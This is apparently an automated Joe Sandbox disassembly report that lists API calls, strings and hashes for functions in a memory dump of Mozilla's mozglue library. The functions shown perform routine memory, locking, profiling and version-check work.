moz_xmalloc.MOZGLUE(00000012), ref: 6C95ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C95EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C95EDCC
CreateFileW.KERNEL32 ref: 6C95EE08
free.MOZGLUE(00000000), ref: 6C95EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C95EE32

Part of subcall function 6C95EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C95EBB5
Part of subcall function 6C95EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C98D7F3), ref: 6C95EBC3
Part of subcall function 6C95EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C98D7F3), ref: 6C95EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C95EDC1

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 82b52c9950e8b00268f52e43ebc1fca5abfa2a2c2ed291c31e56b6cce89361fc
Instruction ID: f8fcefda8028ca5365f535d4d4c7275449c6d16ec69aea3a88e6b11d8aaeb7d5
Opcode Fuzzy Hash: 82b52c9950e8b00268f52e43ebc1fca5abfa2a2c2ed291c31e56b6cce89361fc
Instruction Fuzzy Hash: 1E51E471E053048BDB01DF68D8446EEB7B4AF69318F84842DE85577780E736E998C7E2

Function 6C9CA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9CA565

Part of subcall function 6C9CA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9CA4BE
Part of subcall function 6C9CA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C9CA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9CA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C9CA6B6

Strings

0, xrefs: 6C9CA5FB
z, xrefs: 6C9CA6AE

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 63754fb347472aa17635b7d9c80de5ab71e51f668a522b9ecf7f57ce7d98b1fb
Instruction ID: 39c2075a9108b021f6ccd9e90dc490614a935261fe4c86eba3e5406684d4ba8f
Opcode Fuzzy Hash: 63754fb347472aa17635b7d9c80de5ab71e51f668a522b9ecf7f57ce7d98b1fb
Instruction Fuzzy Hash: E1411571A097459FC341DF28C480A9EBBE5BF99354F408A2EF49987650EB30E649CB83

Function 6C9578C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6C9D008B), ref: 6C957B89
free.MOZGLUE(?,6C9D008B), ref: 6C957BAC

Part of subcall function 6C9578C0: free.MOZGLUE(?,6C9D008B), ref: 6C957BCF

free.MOZGLUE(?,6C9D008B), ref: 6C957BF2

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: c97dce9f88387437935dbfea9f53d543657e2f8a2f1422a251793a417184a63e
Instruction ID: 5c69b13714031e60bac5e4748cd1f4d6f840b54876e96ee0871369d76e72af8e
Opcode Fuzzy Hash: c97dce9f88387437935dbfea9f53d543657e2f8a2f1422a251793a417184a63e
Instruction Fuzzy Hash: BFC1D571E111288BEB24CB28CC90BADB772AF51314F9583A9D41AABBC0C731DF958F51

Function 6C999420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
__Init_thread_footer.LIBCMT ref: 6C99949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C99946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C99947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C999459

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 6b31bef862b1b3e34069b05751cd7b6a49fd42028fce8d7da1d07288b4c00fa5
Instruction ID: 0060e0053e48fd227103280c745b42c4851acb221d50019b609d9371d7c825ba
Opcode Fuzzy Hash: 6b31bef862b1b3e34069b05751cd7b6a49fd42028fce8d7da1d07288b4c00fa5
Instruction Fuzzy Hash: 24014C30A049008BDF009B5CD806A4933B99B4673EF1A8537DC0EA7B51D731F5E48957

Function 6C9A0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9A0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9A0F88
GetCurrentThreadId.KERNEL32 ref: 6C9A0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C9A1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C9A10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C9A114B

Part of subcall function 6C998AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C9B1563), ref: 6C998BD5

free.MOZGLUE(?), ref: 6C9A1174
free.MOZGLUE(?), ref: 6C9A1186

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 462acd296da7f4db0e065d7a0398a44a1d8b4bfcb795dbb4eb983d3cab5ba282
Instruction ID: 648c00c2e434485eead290350164773a41767400858ae7ae70d9d001ba757811
Opcode Fuzzy Hash: 462acd296da7f4db0e065d7a0398a44a1d8b4bfcb795dbb4eb983d3cab5ba282
Instruction Fuzzy Hash: EB61C0756087409BDB10CF65C88079AB7F5BFE6308F14891DE88957711EB31E59ACB82

Function 6C95B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B6AC

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C95B61E), ref: 6C95B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B79A

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: b50c49a22703ef48f9547e91819f0578a03f93acfd9323d28725a1d177805fb5
Instruction ID: b516a2354dfa021fb43a24e7c9b1a939dac2c0a3959cf5535051a4fa64861aff
Opcode Fuzzy Hash: b50c49a22703ef48f9547e91819f0578a03f93acfd9323d28725a1d177805fb5
Instruction Fuzzy Hash: A441B4B2D001159FCB04DF68DC905AEBBB9BF54324F650629E825E7B80E731E9148BE2

Function 6C95EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C9D5104), ref: 6C95EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C95EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C95EFEC
free.MOZGLUE(?), ref: 6C95F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C95F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C95F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C95F065
moz_xmalloc.MOZGLUE ref: 6C95F072

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 31615140a69075855072b725a9caeefa3ca0091c5be611c9ca1adb42af21a160
Instruction ID: 146f2bb342db8a7aa6bd0efe71a3012a5e293157081bace1c5bacf8673975fb6
Opcode Fuzzy Hash: 31615140a69075855072b725a9caeefa3ca0091c5be611c9ca1adb42af21a160
Instruction Fuzzy Hash: 4C41D8B1A001059FCB08CF78D8809BE7769AF94328B240228E825D7794EB31E925C7E1

Function 6C9CB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C9CB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9CB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9CB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9CB5F4
__Init_thread_footer.LIBCMT ref: 6C9CB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C9CB61F
std::_Facet_Register.LIBCPMT ref: 6C9CB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9CB655

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: bab9a921b2db941f649d19ba83cea1f2c426f22f3eb5a88241d26960ebdfa2d5
Instruction ID: 5a51aad46e7618017a0a5dad08e710467d91c62202b3c6104c23169ecf2d6adf
Opcode Fuzzy Hash: bab9a921b2db941f649d19ba83cea1f2c426f22f3eb5a88241d26960ebdfa2d5
Instruction Fuzzy Hash: CE319171B04604CBCB00DFA9C8599AEB7F5FF9A325B250519D902A7780DB31F94ACB92

Function 6C969830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C9B7ABE), ref: 6C96985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C9B7ABE), ref: 6C9698A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C969909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C969918
free.MOZGLUE(?), ref: 6C969975

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 4137d03381a025ad36ab9a787ded1573bf3e4c4ad511091d4a4daa24cf822f72
Instruction ID: 315f7fbe94da587da728d85a16304f4067f99594be10b55fb17a2c376845603a
Opcode Fuzzy Hash: 4137d03381a025ad36ab9a787ded1573bf3e4c4ad511091d4a4daa24cf822f72
Instruction Fuzzy Hash: C471AA746047068FD724CF29C480966BBF5FF4A3287254AADE85A8BF90D731F841CB91

Function 6C96B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE,?,?,6C99DC2C), ref: 6C96B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE,?,?,6C99DC2C), ref: 6C96B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE), ref: 6C96B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE,?,?,6C99DC2C), ref: 6C96B896

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 041c6b22a8d40372991466ac8ae860c2a7069c3b8c3ee84659335f43ccf86f9c
Instruction ID: 246f456b76d7412a1ea2c0a98076613406390562ee2cffc32c3731d00e4ffd17
Opcode Fuzzy Hash: 041c6b22a8d40372991466ac8ae860c2a7069c3b8c3ee84659335f43ccf86f9c
Instruction Fuzzy Hash: 3E519C757046008FDB24CF5AC484A2AB7F5FF89318B69859DE98A97B81D731EC01DB80

Function 6C9A1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9A1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C9A1BE3,?,?,6C9A1D96,00000000), ref: 6C9A1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C9A1BE3,?,?,6C9A1D96,00000000), ref: 6C9A1D4C
GetCurrentThreadId.KERNEL32 ref: 6C9A1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9A1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9A1DDA

Part of subcall function 6C9A1EF0: GetCurrentThreadId.KERNEL32 ref: 6C9A1F03
Part of subcall function 6C9A1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C9A1DF2,00000000,00000000), ref: 6C9A1F0C
Part of subcall function 6C9A1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C9A1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C9A1DF4

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 434161ff008567d77c09c505c1b100bb3110490fdb6e46222be36b3a6b6c0cd2
Instruction ID: 069d8256c4beba576eed91c856fefd64cfa7b12fa5074811dcdac2462626f73d
Opcode Fuzzy Hash: 434161ff008567d77c09c505c1b100bb3110490fdb6e46222be36b3a6b6c0cd2
Instruction Fuzzy Hash: B54145B5204B01DFCB10DF69C488A56BBF9FB99714F20442EE95A87B41CB71F854CB91

Function 6C9638A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9DE220,?,?,?,?,6C963899,?), ref: 6C9638B2
ReleaseSRWLockExclusive.KERNEL32(6C9DE220,?,?,?,6C963899,?), ref: 6C9638C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6C963899,?), ref: 6C9638F1
RtlFreeHeap.NTDLL ref: 6C963920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6C963899,?), ref: 6C96392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6C963899,?), ref: 6C963943
RtlFreeHeap.NTDLL ref: 6C96396E

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 24adca4353828bea103a318e3c2a3e7c98cfdf66cd00006cec9ba144382acbcd
Instruction ID: f9de067691d91b87a0a44fd442d7e2c6e8e41b5543c4b44dbf52ae36c0791fc8
Opcode Fuzzy Hash: 24adca4353828bea103a318e3c2a3e7c98cfdf66cd00006cec9ba144382acbcd
Instruction Fuzzy Hash: C721BF72600A10DFE7209F26C880B96BBA9FF55328F258469D95A97F90C730E985CB91

Function 6C9984E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9984F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9985AC

Part of subcall function 6C997670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99767F
Part of subcall function 6C997670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C997693
Part of subcall function 6C997670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C9985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9976A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9985B2

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: cac8eff9d937dac9b919cd4761e3ea95aef2999215e0182770f09a00ee56c3fe
Instruction ID: b7c9933464b9c951249474b6a6b36f53743d4bbb47717c3bf412c8ba39d925c4
Opcode Fuzzy Hash: cac8eff9d937dac9b919cd4761e3ea95aef2999215e0182770f09a00ee56c3fe
Instruction Fuzzy Hash: 48218E742006019FDB18DB28C888A6AB7B9AF9430DF28492DE55BD3B41DB31F958CB56

Function 6C961640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C961699
VerSetConditionMask.NTDLL ref: 6C9616CB
VerSetConditionMask.NTDLL ref: 6C9616D7
VerSetConditionMask.NTDLL ref: 6C9616DE
VerSetConditionMask.NTDLL ref: 6C9616E5
VerSetConditionMask.NTDLL ref: 6C9616EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9616F9

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity
